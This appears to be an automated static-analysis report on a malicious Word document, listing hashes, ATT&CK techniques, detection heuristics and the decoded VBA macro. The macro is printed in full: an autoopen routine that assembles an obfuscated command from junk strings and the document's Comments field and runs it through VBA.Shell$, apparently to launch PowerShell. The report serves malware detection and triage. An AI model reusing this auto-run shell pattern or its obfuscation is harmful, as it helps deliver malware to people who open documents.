Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 84f2e7bd1c9f63ed…

MALICIOUS

Office (OLE)

56.5 KB Created: 2017-09-29 17:59:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: ef7ecd04dc2ea054be1e638d5f0225af SHA-1: 06eb6a439c5dfd4f8ed34768fca4213ebb078c56 SHA-256: 84f2e7bd1c9f63edd8ead4b3a9ad4e9bd6aeed097a529742849632d79892e0f4
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros, including an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The macro references PowerShell and uses string concatenation to obfuscate its actions, indicating an attempt to download and execute a secondary payload. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports the malicious nature of the macro.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    aYAeedhAAB = "dEpwhvcfZts" + "ZfmgkXhe" + "XgggrXrD" + "GxmSpWL" + KvpLSTcVafx = "ArGpduD" + "nUMHnRLcVWw" + "fDHdKTeds" + "XKGfEVhg" + yxtzattX = "gpvaxRLfRR" + "GEErPeu" + "azHrvEH" + "EvpbbtpNRKT" + "whHWpKExm"
VBA.Shell$ "" + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + gBLkNfwtA, 0
xsbADaxsvb = "AVBYCUg" + "VMUdTnMFmbG" + "HcFLKMPbTtf" + "wWhEwAnGE" + VtYPDtCPfva = "rNmRBdFXM" + "eYHaVhM" + "gfdLvhcnFwL" + "sfagcnkRE" + "Swbpdtsss"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
VPZeFmc
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2366 bytes
SHA-256: 9cbc9a7b6deab92e83c5b5cdd5725265eda5c37bee5b4978e784dddf404d04d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
118 of 146 identifiers look randomly generated (e.g. 'ZvUmrnTZmCh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
VPZeFmc
End Sub
Function VPZeFmc()
kuBYYEXX = "dVKfxXVaHan" + "EVpELukFZBv" + "BmnzZPvwvzC" + "auUuuaGFZsH" + pTbTsHzAm = "sdKmAzpwrKy" + "PhGccypr" + "AwXsYEnP" + "DcArLygg" + "NbUmawWG"
SLngDfrsLCD = "KuFCpHhA" + "BTLUpWGMup" + "zUKwdmV" + "rCSAfBSfF" + mmuzFaDR = "dmLpwDG" + "fzRPcYRZkK" + "duhhgUAgUA" + "ZhCHwhH" + rAndgUWZAk = "ZGmWwMHBMa" + "EUWArPt" + "rTrLNDfzUhf" + "sVgYRnueCbx" + "FvXyyedfG"
nXAppykZ = "zhMWEyhU" + "rRumAbS" + "TcdRupfMg" + "cEwvsYSGRtu" + UGNukTKgCEc = "CPfmfYGffT" + "LnGrfCeFvk" + "sWcfnuRPEh" + "fNkHzpSDLcN" + RwExTPVfM = "LkhgPKhxE" + "RvaafMsZh" + "athDwkNfMLp" + "CFLyPDB" + "HbAgLBhGueu"
aYAeedhAAB = "dEpwhvcfZts" + "ZfmgkXhe" + "XgggrXrD" + "GxmSpWL" + KvpLSTcVafx = "ArGpduD" + "nUMHnRLcVWw" + "fDHdKTeds" + "XKGfEVhg" + yxtzattX = "gpvaxRLfRR" + "GEErPeu" + "azHrvEH" + "EvpbbtpNRKT" + "whHWpKExm"
VBA.Shell$ "" + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + gBLkNfwtA, 0
xsbADaxsvb = "AVBYCUg" + "VMUdTnMFmbG" + "HcFLKMPbTtf" + "wWhEwAnGE" + VtYPDtCPfva = "rNmRBdFXM" + "eYHaVhM" + "gfdLvhcnFwL" + "sfagcnkRE" + "Swbpdtsss"
NVXLzzMBDvm = "AcRhzrsV" + "ZvUmrnTZmCh" + "TGaRkBYK" + "ecBDLTDB" + RFFDPZz = "BAKVYbYNC" + "RaCxBtatb" + "rySpcDcV" + "wdWgpkarWN" + eeSXnMvE = "AuKvyxPmyA" + "TnUMkDt" + "ehUHyvcc" + "RETWDhVAbyf" + "XPsGAEwcP"
VZYBLwzvmzu = "fDPuEpymPd" + "KyKzxVMF" + "NRWFdTxBys" + "RcMuDnkbmy" + YAUsdhNw = "gvpGHWTzA" + "LhebrGs" + "hdtTfPzc" + "rmtKZxseTWd" + kKzwZWY = "etgsncuMZw" + "GDMgNGvP" + "UGbsfRUxk" + "XANTGKMvSK" + "YfSHLDa"
MCSLWut = "AXKhhBgnk" + "XrFgPPZ" + "frnCfEW" + "NavKYGZhZ" + twhaMwHFv = "WbHHvMkwSm" + "wDRPYKVzaU" + "cSgGaDNSF" + "gmeRPGSgTar" + "uvyNntxrMa"
End Function

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